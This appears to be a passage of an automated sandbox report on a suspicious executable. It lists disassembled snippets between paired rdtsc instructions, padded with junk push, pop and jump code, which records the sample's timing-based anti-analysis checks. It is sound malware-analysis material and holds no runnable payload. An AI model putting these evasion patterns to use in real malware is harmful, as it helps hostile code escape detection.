Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792894 second address: 7928C7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E69210h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a jmp 00007F8908E6920Dh 0x0000000f pushad 0x00000010 jmp 00007F8908E6920Eh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7928C7 second address: 7928D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push edx 0x0000000b pop edx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792E50 second address: 792E54 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 792E54 second address: 792E5A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738847 second address: 73885E instructions: 0x00000000 rdtsc 0x00000002 jng 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push edi 0x0000000f pop edi 0x00000010 jnl 00007F8908E69206h 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793151 second address: 79315F instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F89084F5D88h 0x00000008 push eax 0x00000009 push edx 0x0000000a push edi 0x0000000b pop edi 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79340D second address: 793417 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jne 00007F8908E69206h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 793417 second address: 79341B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79341B second address: 793441 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F8908E69206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jng 00007F8908E6921Eh 0x00000012 jmp 00007F8908E69212h 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7939A8 second address: 7939F3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D91h 0x00000007 jng 00007F89084F5D86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f jmp 00007F89084F5D8Bh 0x00000014 jmp 00007F89084F5D93h 0x00000019 popad 0x0000001a pushad 0x0000001b jo 00007F89084F5D8Ch 0x00000021 jl 00007F89084F5D86h 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7939F3 second address: 7939F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79879E second address: 7987C3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Fh 0x00000007 jnl 00007F89084F5D86h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f je 00007F89084F5D8Ch 0x00000015 jp 00007F89084F5D86h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C6CF second address: 79C6D5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C6D5 second address: 79C6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C6D9 second address: 79C6F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F8908E69210h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C6F3 second address: 79C719 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F89084F5D88h 0x00000008 pushad 0x00000009 pushad 0x0000000a popad 0x0000000b jmp 00007F89084F5D97h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BAAA second address: 79BAB4 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F8908E69206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BBF5 second address: 79BC02 instructions: 0x00000000 rdtsc 0x00000002 jc 00007F89084F5D86h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BC02 second address: 79BC24 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E6920Dh 0x00000009 jmp 00007F8908E6920Ah 0x0000000e popad 0x0000000f popad 0x00000010 pushad 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BC24 second address: 79BC28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BDAA second address: 79BDCB instructions: 0x00000000 rdtsc 0x00000002 jns 00007F8908E69206h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jmp 00007F8908E69214h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BF4D second address: 79BF64 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D92h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BF64 second address: 79BF6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BF6A second address: 79BF70 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79BF70 second address: 79BF83 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 pushad 0x00000009 push esi 0x0000000a pop esi 0x0000000b jnl 00007F8908E69206h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79C0C6 second address: 79C0D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F89084F5D86h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 79DDB9 second address: 79DDC8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E6920Ah 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A591B second address: 7A5921 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5921 second address: 7A592B instructions: 0x00000000 rdtsc 0x00000002 je 00007F8908E69206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A592B second address: 7A5943 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jmp 00007F89084F5D8Eh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A5943 second address: 7A5959 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E69211h 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3C82 second address: 7A3C86 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4097 second address: 7A40AE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F8908E6920Fh 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A444F second address: 7A446D instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 pushad 0x00000007 jl 00007F89084F5D86h 0x0000000d jmp 00007F89084F5D8Fh 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A4819 second address: 7A481D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A3871 second address: 7A3875 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7ACC3D second address: 7ACC41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE24 second address: 7BCE28 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7BCE28 second address: 7BCE2E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0980 second address: 7C0986 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0AFB second address: 7C0AFF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0AFF second address: 7C0B11 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jns 00007F89084F5D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B11 second address: 7C0B15 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C0B15 second address: 7C0B29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D90h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6DDA second address: 7C6DE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6DE0 second address: 7C6DE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6DE6 second address: 7C6DEA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFAC1 second address: 7CFAE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jmp 00007F89084F5D92h 0x0000000a jnl 00007F89084F5D92h 0x00000010 jnc 00007F89084F5D86h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CFAE6 second address: 7CFAED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7CF96F second address: 7CF973 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D632E second address: 7D6334 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D65BD second address: 7D65C3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D65C3 second address: 7D65C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D65C8 second address: 7D65DB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 jmp 00007F89084F5D8Dh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D65DB second address: 7D65E5 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007F8908E69206h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7D673B second address: 7D6741 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCD42 second address: 7DCD48 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCD48 second address: 7DCD57 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jc 00007F89084F5D86h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA3E second address: 7DCA42 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA42 second address: 7DCA5E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jne 00007F89084F5D86h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pop ebx 0x0000000d push esi 0x0000000e pushad 0x0000000f jp 00007F89084F5D86h 0x00000015 pushad 0x00000016 popad 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a push edx 0x0000001b pop edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7DCA5E second address: 7DCA62 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E7165 second address: 7E717F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edi 0x00000007 jmp 00007F89084F5D93h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E717F second address: 7E7184 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8B56 second address: 7E8B77 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F89084F5D98h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8B77 second address: 7E8B9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007F8908E69213h 0x0000000d push ebx 0x0000000e pop ebx 0x0000000f popad 0x00000010 popad 0x00000011 pushad 0x00000012 pushad 0x00000013 pushad 0x00000014 popad 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7E8B9C second address: 7E8BB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 jmp 00007F89084F5D8Fh 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7EB177 second address: 7EB183 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007F8908E69206h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB3D second address: 7FEB41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814CE3 second address: 814CE8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814FD3 second address: 814FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815162 second address: 815168 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815168 second address: 815180 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F89084F5D8Fh 0x0000000c push edi 0x0000000d pop edi 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815180 second address: 815197 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jmp 00007F8908E69211h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815197 second address: 8151AD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F89084F5D8Fh 0x00000008 pushad 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8151AD second address: 8151D5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F8908E69214h 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 pushad 0x00000015 push ecx 0x00000016 pop ecx 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8151D5 second address: 8151E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 je 00007F89084F5D86h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815453 second address: 815457 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815457 second address: 81545B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81545B second address: 815475 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jnc 00007F8908E69206h 0x0000000d pop edi 0x0000000e jng 00007F8908E69218h 0x00000014 push eax 0x00000015 push edx 0x00000016 push edi 0x00000017 pop edi 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815475 second address: 815479 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8155F8 second address: 815617 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E6920Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push edx 0x0000000a jmp 00007F8908E6920Eh 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815801 second address: 815812 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Dh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815812 second address: 81581C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81581C second address: 81583A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D98h 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81583A second address: 81583F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815963 second address: 815967 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 815967 second address: 8159A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jmp 00007F8908E6920Dh 0x0000000c pushad 0x0000000d popad 0x0000000e push ebx 0x0000000f pop ebx 0x00000010 popad 0x00000011 ja 00007F8908E69226h 0x00000017 jno 00007F8908E69210h 0x0000001d pushad 0x0000001e pushad 0x0000001f popad 0x00000020 jg 00007F8908E69206h 0x00000026 push eax 0x00000027 push edx 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8175E5 second address: 8175E9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8175E9 second address: 8175F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8175F1 second address: 817603 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jno 00007F89084F5D86h 0x00000009 pop edi 0x0000000a push eax 0x0000000b push edx 0x0000000c jnc 00007F89084F5D86h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B45B second address: 81B460 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B99A second address: 81B9B1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F89084F5D93h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81B9B1 second address: 81BA57 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F8908E69219h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e jmp 00007F8908E69218h 0x00000013 push dword ptr [ebp+122D29F3h] 0x00000019 pushad 0x0000001a adc si, BC40h 0x0000001f mov dword ptr [ebp+124426B8h], eax 0x00000025 popad 0x00000026 call 00007F8908E69209h 0x0000002b push eax 0x0000002c pushad 0x0000002d pushad 0x0000002e popad 0x0000002f jmp 00007F8908E69216h 0x00000034 popad 0x00000035 pop eax 0x00000036 push eax 0x00000037 jmp 00007F8908E6920Eh 0x0000003c mov eax, dword ptr [esp+04h] 0x00000040 jmp 00007F8908E69219h 0x00000045 mov eax, dword ptr [eax] 0x00000047 push eax 0x00000048 push edx 0x00000049 push ecx 0x0000004a push esi 0x0000004b pop esi 0x0000004c pop ecx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EDB4 second address: 81EDD0 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F89084F5D8Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push ebx 0x0000000b pop ebx 0x0000000c push edi 0x0000000d pop edi 0x0000000e js 00007F89084F5D86h 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81EDD0 second address: 81EDE6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F8908E69211h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7314FA second address: 7314FE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 731738 second address: 73173C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02CE second address: 4EA02D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4EA02D4 second address: 4EA030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c pushfd 0x0000000d jmp 00007F8908E6920Bh 0x00000012 xor eax, 4ED2596Eh 0x00000018 jmp 00007F8908E69219h 0x0000001d popfd 0x0000001e push esi 0x0000001f pop ebx 0x00000020 popad 0x00000021 rdtsc
